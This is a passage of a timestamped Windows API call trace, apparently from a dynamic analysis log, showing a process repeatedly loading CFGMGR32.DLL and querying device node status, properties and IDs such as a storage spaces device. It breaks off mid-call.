[0222.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.942] malloc (_Size=0x18) returned 0x196ef0d1f40 [0222.943] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0222.945] malloc (_Size=0x48) returned 0x196ef0fb400 [0222.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65be749f, dwHighDateTime=0x1d9eb0c)) [0222.946] SetEvent (hEvent=0x248) returned 1 [0222.949] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.949] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.952] malloc (_Size=0x18) returned 0x196ef0d2080 [0222.953] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x1d, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0222.953] malloc (_Size=0x48) returned 0x196ef0fbb30 [0222.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x65be749f, dwHighDateTime=0x1d9eb0c)) [0222.953] SetEvent (hEvent=0x248) returned 1 [0223.011] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.011] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.014] malloc (_Size=0x18) returned 0x196ef0d1be0 [0223.014] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x1d, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0223.015] malloc (_Size=0x48) returned 0x196ef0fc170 [0223.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x65c7a232, dwHighDateTime=0x1d9eb0c)) [0223.015] SetEvent (hEvent=0x248) returned 1 [0223.018] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.018] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.018] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.021] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0223.022] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.022] malloc (_Size=0x48) returned 0x196ef0fbea0 [0223.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65ca06de, dwHighDateTime=0x1d9eb0c)) [0223.022] SetEvent (hEvent=0x248) returned 1 [0223.026] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.026] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.030] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0223.030] CM_Get_Device_IDA (in: dnDevInst=0x1e, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\SPACEPORT\\0000") returned 0x0 [0223.030] malloc (_Size=0x48) returned 0x196ef0fb810 [0223.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x65ca06de, dwHighDateTime=0x1d9eb0c)) [0223.030] SetEvent (hEvent=0x248) returned 1 [0223.033] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.033] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.037] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0223.037] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0223.037] malloc (_Size=0x20) returned 0x196ef0f9be0 [0223.038] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9be0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9be0, pulLength=0x67117d608) returned 0x0 [0223.038] free (_Block=0x196ef0f9be0) [0223.038] malloc (_Size=0x48) returned 0x196ef0fb220 [0223.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x65cc6c15, dwHighDateTime=0x1d9eb0c)) [0223.038] SetEvent (hEvent=0x248) returned 1 [0223.041] malloc (_Size=0x18) returned 0x196ef0d1f80 [0223.041] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0223.041] free (_Block=0x196ef0d1f80) [0223.041] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0223.041] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0223.041] SafeArrayGetLBound (in: psa=0x196ef1f2c30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0223.041] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0223.041] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa9b0 [0223.041] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0223.041] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0223.041] SafeArrayGetElemsize (psa=0x196ef1f2c30) returned 0x8 [0223.041] SafeArrayGetElement (in: psa=0x196ef1f2c30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0223.042] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225cd0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0223.042] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa9b0) returned 1 [0223.043] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0223.043] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.043] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.047] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0223.047] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0223.047] malloc (_Size=0x5e) returned 0x196ef0d0370 [0223.047] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608) returned 0x0 [0223.047] free (_Block=0x196ef0d0370) [0223.048] malloc (_Size=0x48) returned 0x196ef0fbd60 [0223.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x65cc6c15, dwHighDateTime=0x1d9eb0c)) [0223.048] SetEvent (hEvent=0x248) returned 1 [0223.099] malloc (_Size=0x18) returned 0x196ef0d1f20 [0223.099] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0223.099] free (_Block=0x196ef0d1f20) [0223.099] malloc (_Size=0x18) returned 0x196ef0d20c0 [0223.099] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0223.099] free (_Block=0x196ef0d20c0) [0223.100] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856960 [0223.100] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0223.100] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0223.100] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0223.100] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8f0 [0223.100] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0223.100] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0223.100] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0223.100] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0223.100] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e650, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0223.101] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e658, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0223.101] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8f0) returned 1 [0223.102] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856960) returned 1 [0223.102] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.102] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.103] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.103] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.103] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.103] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.103] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.103] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.106] malloc (_Size=0x18) returned 0x196ef0d20c0 [0223.106] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, 